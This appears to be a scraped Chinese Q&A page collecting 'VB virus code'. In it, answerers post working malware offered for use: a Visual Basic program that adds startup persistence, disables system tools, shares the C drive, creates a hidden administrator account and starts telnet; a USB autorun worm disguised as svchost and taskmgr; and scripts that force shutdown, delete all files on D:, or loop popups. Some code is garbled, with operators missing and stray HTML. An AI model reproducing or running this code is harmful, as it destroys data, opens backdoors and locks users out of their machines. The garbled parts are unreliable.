vb病毒代码大全(vbsworm病毒)
vb能编病毒吗谁能提供一段VB编的病毒代码
Option Explicit
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance Then
End
End If
MsgBox "朋友在网上失恋的痛苦中诞生这套程序,也许只有它能表达我对他现在心情理解。。。。。" vbCrLf vbCrLf "想和我成为朋友的就加我QQ:545704252!", vbApplicationModal, "真爱无错V1.0"
Dim Mypath
Mypath = App.Path "\" App.EXEName ".exe"
Dim Writereg
Dim Wsh_shell
Set Wsh_shell = New IWshShell_Class
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "500)this.width=500" align=absMiddle border=0"REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", "302", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", "0", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "500)this.width=500" align=absMiddle border=0")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "BLOG地址:")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "04", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \NoDesktop", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("", "01", "REG_DWORD")
Dim fso
Dim dir1
Set fso = CreateObject("scripting.filesystemobject")
Set dir1 = fso.GetSpecialFolder(0)
FileCopy Mypath, dir1 "\System32\Explorers.exe"
Shell "cmd.exe /c " dir1 "\System32\Explorers.exe", vbHide
Shell "cmd.exe /c net user lilong /addnet localgroup administrators lilong /add", vbHide
Shell "cmd.exe /c net start telnet", vbHide
Shell "cmd.exe /c net share admin$", vbHide
On Error Resume Next
Dim nowtime
Dim i
nowtime = Date
If nowtime "2008-10-1" Then
For i = 1 To 999
Open "d:\《真爱无错》" "第" i "集" ".htm" For Append As #1
Print #1, "script language=’javascript’alert(’众人皆醒我独醉,心有灵犀最珍贵,邂逅真爱不后悔,今生只为你相随。有空和我聊聊吧,!’)/script"
Print #1, "script language=’javascript’window.location=’500)this.width=500" align=absMiddle border=0’/script"
Close #1
Next
End If
End Sub
谁能解释下面简单的电脑病毒代码?
我帮你"翻译"一下代码的意思。
这是一段vbs代码:直到(除非)1等于2,否则就一直弹出一个写有"烦死你"的窗口,因为1永远不等于2,所以不断的弹窗。
这是VB的一个简单编程,但是代码却不怀好意。这段代码的意思是说,当双击运行这个程序的时候,执行以下代码:直到(除非)1等于2,否则隐藏这个软件的窗体,然后显示这个软件的窗体,然后调用系统的"calc.exe"程序,也就是调用系统自带的"计算器",因为1永远不等于2,所以这些步骤永远循环的执行下去。以现在的计算机来看,并不会"运行后马上死机",我们的计算机还不至于这么差劲,不过cpu会高涨,根据不同计算机的配置,时间范围从很快死机到数秒后死机不等。
求具有破坏性的vb病毒代码,只是为了让同学佩服自己.
' 全部使用VB自带函数来完成!
'原理:
' 每个电脑上都有一个硬盘和一个光驱或者有N个分驱
' 这些分驱相对来说,不会经常消失!
' 只有U盘或MP3接上后会多出一个,当拿走时会减少一个!
' 所以,在程序运行时,先备份电脑上当前的驱动器数量!
' 当发现加或减时就能确定是不是移动设备!
' 正进行传播,因为题目要求,只传播U盘,加上自动运行文件!
' 就不用改写里面的文件!
' 要是没有看懂我的程序前,请不要运行!死了别怪我!
'----------------代码--------------------------
Dim num, nums '驱动器数
Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化!
'不准重复运行本病毒!
If App.PrevInstance Then
End
End If
'在任务管理器中隐身!
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数!
a2
'设置时间:为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) "\" Trim(App.EXEName) ".exe"
'得到系统目录!得到后,自我复制到SYSTEM32下!
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) "\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) "\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) "\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) "\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) "\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) "\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函数
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) "\" Trim(App.EXEName) ".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) "\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) "\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) "\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) "\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到当前驱动器数!
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '时间函数
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num nums Then
If num nums Then
a1
End If
If num nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '写自我删除程序
On Error Resume Next
i = FreeFile
Open App.Path "\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path "\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path "\" App.EXEName ".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) ":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) ":\autorun.inf"
SetAttr Chr(dirid) ":\autorun.inf", vbHidden
SetAttr Chr(dirid) " :\autorun.exe", vbHidden
Next
err1:
End Sub
找个VB病毒代码
给你几个恶意点的,哈哈
msgbox "你要点100下确定",vbokcancel,"hkmfk"
for i=1 to 100
msgbox "加油!!!""还有"(100-i)"下",4096,"zhb0813"
next
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
2.删除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
3.不断弹出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop
4.不断按下alt+f4 (开什么都关闭……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
最后保存为vbs格式就行了,我还有一个更恶劣的呢,就不发给你了
vb病毒代码
Private Sub Form_Load()
shell "shutdown -s -t 0"
End Sub ,关机是这个代码,然后加入到自启动就可以了 ,很简单